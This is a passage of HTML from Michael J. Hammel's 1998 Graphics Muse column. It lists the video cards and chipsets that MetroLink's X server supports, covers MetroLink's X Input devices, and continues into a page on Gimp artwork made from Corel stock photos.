for US shipments, with upgrade pricing starting at $49.95. Xi Graphics
can be found on the net at <A HREF="http://www.xig.com">http://www.xig.com</A>.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MetroLink MetroX</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MetroLink has also announced
hardware acceleration for OpenGL with their "Extreme3D" product.
This product is expected to ship in December 1998, according to the press
release at http://www.metrolink.com/extrem3d.html. However, I was
told by Chris Bare at MetroLink that its more likely to be January 1999.
The press report states that support will be available for the following
chipsets:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>E&S REALimage(R) 1000, 2000
(Evans & Sutherland)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GLINT GMX(R) 1000, 2000 (3Dlabs)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia(R) 2, 3 (3Dlabs)</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Like Xi Graphics, MetroLink
has the one server which supports many cards and chipsets through loadable
modules. Since this architecture doesn't require I list matching
servers to cards, I'll just list the cards and chipsets MetroX reports
to support:</FONT></FONT>
<BR>
<TABLE BORDER=0 COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD VALIGN=TOP WIDTH="230" NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> <B>Card</B></FONT></FONT></TD>
<TD VALIGN=TOP NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Chipset</FONT></FONT></B></TD>
</TR>
<TR NOSAVE>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI 3D RAGE </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI 3D RAGE II </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI ALL-IN-WONDER
PRO AGP </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI ALL-IN-WONDER
PRO PCI </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Graphics Pro Turbo </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Graphics Ultra </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Graphics Xpression </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Mach32 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Mach64 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI VGA STEREO-F/X </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI Winturbo PCI </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI XPERT@Play </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI XPERT@Play AGP </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI XPERT@Work </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ATI XPERT@Work AGP </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Fire GL 1000Pro </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond SpeedStar
24X </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond SpeedStar
Pro SE </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 24 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 32 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 3D
2000 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
DRAM </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
DRAM (SDAC) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
Graphics 2000 Series </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
Graphics 2200 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
VRAM </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
Video 3000 Series </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth 64
Video VRAM </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth Video
(SDAC) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Stealth Video
2000 Series </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Viper (110
MHz RAMDAC) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Diamond Viper (135
MHz RAMDAC) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA GLoria Synergy </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA Victory 3D </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA Winner 1000 TRIO/V </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA Winner 2000 AVI </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA Winner 2000 PRO/X-2,
-4 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> ELSA Winner 2000 PRO/X-8 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Marvel </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Marvel II </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Millennium </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Millennium
II AGP </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Millennium
II PCI (220 MHz) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Millennium
II PCI (250 MHz) </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Mystique </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Matrox Mystique 220 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine GXE64 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Imagine
128 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Imagine
128 Series 2 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Motion
531 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Motion
771 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Revolution
3D </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Number Nine Vision
330 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> Orchid Kelvin 64 </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> STB NITRO 3D </FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1> STB/Symmetric GLyder
MAX-2</FONT></FONT></TD>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE II</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach8</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach32</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI 28800</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D RAGE PRO</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PERMEDIA 2</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Western Digital 90C31</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cirrus 5430</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 801</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ET4000/W32p</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 ViRGE</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 964, Bt485KPJ135</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 Trio64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 864, S3 SDAC</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 864, S3 SDAC</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 Trio64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, IBM RGB526CF22</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, TI 3026-175</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, TI 3026-175</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 868, S3 SDAC</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 868, S3 SDAC</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>P9000</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>P9000</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PERMEDIA 2</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 ViRGE</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 Trio64V+</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, TI 3026-175</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, TI 3026-220</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968, IBM RGB528CF25</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ET4000</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ET4000</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA Storm</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA 2164, TI 3026-250</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA 2164, TI 3026-220</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA 2164, TI 3026-250</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA 1064</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA 1164</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 864</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Imagine 128</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Imagine 128 Series 2</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 868</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 968</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Ticket to Ride</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 Trio64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cirrus 5434</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 ViRGE/GX</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PERMEDIA 2</FONT></FONT></TD>
</TR>
</TABLE>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MetroLink's web site is at
<A HREF="http://www.metrolink.com">http://www.metrolink.com</A>.
Platform specific information for Linux can be found at</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Intel: <A HREF="http://www.metrolink.com/metrox431-intel/cardlist4.3.1.html">http://www.metrolink.com/metrox431-intel/cardlist4.3.1.html</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Alpha: <A HREF="http://www.metrolink.com/metrox431-alpha/cardlist4.3.1.html">http://www.metrolink.com/metrox431-alpha/cardlist4.3.1.html</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The MetroLink site currently
lists their Metro-X Enhanced Server Set 4.3 for $39 and support it on both
Intel/x86 and Alpha based Linux systems. With the price drop to $39,
the upgrade pricing policies have been dropped by MetroLink.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The future</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>C|Net reported recently that
there were some 40 or so computer graphics chip vendors in the 3D market
today. This is far more than the industry can sustain and an eventual
consolidation is inevitable. Furthermore, all three of the major
CPU vendors - Intel, Cyrix and AMD - currently have plans for integrating
graphics functions into the CPU itself. The graphics card world is
changing fast and its not quite clear what effect this will have on end
users. If you work in with computer graphics it will be necessary
to keep abreast of upcoming changes.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A Final Word, or Words</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There are a couple of things
I didn't cover in this artle:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MPEG - I don't know
if X servers support hardware decoding of MPEGs, animated files that are
highly compressed, yet but I suspect they don't. You can view these
animations using software to decode the MPEG. This works, but software
decoding will always be slower than hardware decoding.</FONT></FONT></BLOCKQUOTE>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Laptops - Laptop
vendors, at least in the recent past, didn't like to give out too much
information on their video subsystems because it was one way to maintain
a product differentiation with competitors. More support has come
recently and you can expect to see better information on which laptops
are supported under X Windows in the coming months. For now, check
out the following pages: http://www.cs.utexas.edu/users/kharker/linux-laptop/</FONT></FONT></BLOCKQUOTE>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NeoMagic chipsets
are being used in many laptops these days. XFree86 (via either Red
Hat and/or S.u.S.E) and Xi Graphics definitely have servers for these chips
that are known to work on at least some laptops. MetroLink may as
well, but I didn't check on this since I wasn't going to concern myself
too deeply with laptop issues.</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Its hard to keep up with vendor
naming schemes and matching them to chipsets. Thats why X server
vendors don't do it that often. Its a situation that has developed
due to the fact the PC video cards grew up in a world without X Windows,
and X servers grew up (originally, quite some time ago) in a world without
PCs. Its the nature of the beast, you might say. But things
are changing now. With the acceptance of Linux in the corporate world
you will begin to see video card vendors show much more interest in the
X Windows world. How that will equate to users matching video cards
with X servers remains to be seen, but I expect life to get much easier
in the next year.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Confused? Me too, but
its not that hard to digest when you think of it this way: You'll
buy a 3D card because thats what on the shelves at retailers and you'll
either have or not have support for the actual 3D acceleration. As
long as a driver exists for the card you at least be able to run X Windows
and nearly all the applications available for it.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>If you're looking for a cheap
card you can still find them on the Net. Take a look at <A HREF="http://www.computers.com">Computers.com</A>
under their graphics and sound section and do searches by company name
(e.g. "matrox"). You'll find a number of older 2D boards listed with
links on where you can buy them. These cards run well under $100,
some for as low as $30.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Acknowledgements</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I'd like to thank a number
of people for their assistance in putting this article together.
Paul Sargent of 3Dlabs was especially helpful, providing definitions and
information on what I'm sure to him must be real beginner questions.
Jeremy Chatfield provided similar help. Along with these two, I received
helpful bits of information from Dirk Hohndel of S.u.S.E, many members
of the Boulder Linux Users Group, Federico Mena Quintero and Miles O'Neal.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Dirk Hohndel (<A HREF="mailto:hohndel@suse.de">hohndel@suse.de</A>)
asked that I mention the outstanding support given to XFree86 by ELSA.
Other companies that have provided support to them include ATI, Number
9, Matrox, and Diamond.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Sites for further reading:</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3Dfx drivers in RPM format
are available at: <A HREF="http://glide.xxedgexx.com/3DfxRPMS.html">http://glide.xxedgexx.com/3DfxRPMS.html</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The 3Dfx howto (<A HREF="http://www.gamers.org/dEngine/xf3D/howto/3Dfx-HOWTO.html">http://www.gamers.org/dEngine/xf3D/howto/3Dfx-HOWTO.html</A>)
is an excellent document for information about using 3D hardware accelerated
boards with Linux. It focuses on 3Dfx boards, but describes some
of the hardware related issues that other boards will encounter, such as
AGP vs PCI. Definitely a good read for anyone looking to get 3D hardware
acceleration working.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics: <A HREF="http://www.xig.com">http://www.xig.com</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MetroLink: <A HREF="http://www.metrolink.com">http://www.metrolink.com</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFree86: <A HREF="http://www.xfree86.org">http://www.xfree86.org</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S.u.S.E.: <A HREF="http://www.suse.com">http://www.suse.com</A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Red Hat: <A HREF="http://www.redhat.com">http://www.redhat.com</A></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Some good sites for hardware
specific information (although likely to be somewhat Microsoft oriented):</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.bluenews.com">BluesNews.com</A></FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.3dfiles.com">3dfiles.com</A></FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.tomshardware.com">tomshardware.com</A></FONT></FONT></LI>
</UL>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="metro-xinput"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Metro
Link and X Input Support</FONT></FONT></B>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>As usual, I didn't get around
to writing my Muse column till very late in the month last month.
Because of this <A HREF="http://www.metrolink.com/">MetroLink</A> didn't
get the opportunity to supply information regarding their X Input support
before my deadline. My apologies to them. Here is the information
they provided, sent by <A HREF="mailto:chris@metrolink.com">Chris Bare</A>:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Sorry I didn't reply
sooner, we had a pesky hurricane to deal with and were closed Thursday
and Friday.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Presently, we do not support
any tablets through X Input. Our server supports X Input drivers as loadable
modules and we have technical specs available so that third parties can
write drivers. At present no one has attempted to port the Wacom tablet
driver to our new architecture (BTW, this new loadable design will be donated
to Xfree86 for their 4.0 release)</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Our configuration tool includes
a touch screen calibration utility that works in graphics mode.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Here's the list of X Input
drivers we currently support:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Touchscreens</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Carroll SFP1 Touch Screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Carroll SFP2 Touch Screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MicroTouch Touch Screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELO Graphics 2300 Serial Touch
Screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELO Graphics 4002 Serial Touch
Screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Lucas/Deeco Serial Touch Screen</FONT></FONT></LI>
</UL>
</UL>
</BLOCKQUOTE>
<UL>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D input devices</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SpaceOrb</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Magellan Space Mouse</FONT></FONT></LI>
</UL>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The only thing I know of that
can use [3D Input Devices] is GLUT, and even then you have to write (relatively
simple) GLUT code to integrate them into glut programs. We also include
sample code on our web page that shows how to access them from your own
programs.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Here's the URL for info on
the 3D devices:</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.metrolink.com/support/3dinput.html">http://www.metrolink.com/support/3dinput.html</A></FONT></FONT></UL>
<TABLE WIDTH="100%" >
<TR>
<TD VALIGN=TOP COLSPAN="4" BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT><FONT SIZE=-2>© 1998 by <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
</TABLE>
</BODY>
</HTML>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="GENERATOR" CONTENT="Mozilla/4.5b2 [en] (X11; I; Linux 2.0.30 i486) [Netscape]">
<TITLE>Graphics Muse
</TITLE>
</HEAD>
<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#660000" VLINK="#666666" ALINK="#FF6600">
<!-- =============================================================
These pages are designed by Michael J. Hammel. Permission to
use all graphics and other content is granted provided you give
me (or the original authors/artists) credit for the work and this
copyright notice is not removed.
(c)1997, 1998 Michael J. Hammel (mjhammel@graphics-muse.org)
============================================================= !-->
<BR><IMG SRC="../gx/hammel/webwonderings.jpg" HEIGHT=50 WIDTH=245>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT WIDTH="100%"><FONT SIZE=-2>© 1998 <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
<TR>
<TD VALIGN=TOP BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Of course, now you're probably
asking "What the images look like and what can I do with them?" Lets
start by showing what a couple of the images I created using the Gimp and
these stock photos look like. The first of these I called Vogue and
whipped out in a couple of hours just for this article (intermixed with
watching a rerun of The X-Files - I really need to get out more).
The second is called Angel and took me a few days to put together.
Both images started with stock photos from the <B>Women by Jack Cutler</B>
CD in the Sampler Ten Pack.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<CENTER><TABLE BORDER=0 CELLSPACING=5 CELLPADDING=0 COLS=2 NOSAVE >
<TR NOSAVE>
<TD ALIGN=CENTER WIDTH="250" NOSAVE><A HREF="./gx/hammel/woman-vogue.jpg"><IMG SRC="./gx/hammel/woman-vogue-small.jpg" BORDER=0 HEIGHT=360 WIDTH=240></A></TD>
<TD WIDTH="197" NOSAVE><A HREF="./gx/hammel/angel.jpg"><IMG SRC="./gx/hammel/angel-tn.jpg" BORDER=0 HEIGHT=280 WIDTH=197></A></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=CENTER NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Vogue</FONT></FONT></B></TD>
<TD ALIGN=CENTER NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Angel</FONT></FONT></B></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=CENTER COLSPAN="2" NOSAVE><FONT SIZE=-1>
Note: click either image to see larger version.</FONT></TD>
</TR>
</TABLE></CENTER>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<BR>
<CENTER><TABLE BORDER=0 CELLSPACING=5 CELLPADDING=0 COLS=2 NOSAVE >
<TR NOSAVE>
<TD ALIGN=CENTER WIDTH="256" NOSAVE><IMG SRC="./gx/hammel/woman-original.jpg" HEIGHT=384 WIDTH=256></TD>
<TD ALIGN=CENTER WIDTH="200" NOSAVE><IMG SRC="./gx/hammel/angel-original.jpg" HEIGHT=280 WIDTH=186></TD>
</TR>
<TR NOSAVE>
<TD ALIGN=CENTER NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Original
portrait used for Vogue artwork.</FONT></FONT></B></TD>
<TD ALIGN=CENTER NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Original
portrait used in Angel (scaled up from actual thumbnail image)</FONT></FONT></B></TD>
</TR>
</TABLE></CENTER>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<TABLE BORDER=0 CELLSPACING=5 CELLPADDING=0 COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Additionally, Angel
includes an image taken from the <B>Dawn & Dusk </B>CD plus a
texture from one of the <B>Textures II </B>CD's (although I can't
remember which one now). The Women and Dawn & Dusk CDs are
both in the Sampler Ten pack.</FONT></FONT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>These particular example
images aren't really helpful for most Web based applications, but what
is important is the quality of the original stock. The original images
are of good quality, clear of defects and of reasonable color clarity.
If you consider the range of topics covered by the other Super Ten Packs
then there is likely to be some set of images which will be useful in any
future web artwork you may do. When you consider that stock photographs
often run closer to $200-$300 for 100 images on other collections, the
Corel Super Ten Packs are a pretty decent bargain and well worth the cost.</FONT></FONT></TD>
<TD ALIGN=CENTER WIDTH="192" NOSAVE><IMG SRC="./gx/hammel/angel-tree.jpg" VSPACE=10 HEIGHT=128 WIDTH=192>
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Thumbnail of sunset image
used</FONT></FONT></B>
<BR><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>in Angel.</FONT></FONT></B></TD>
</TR>
</TABLE>
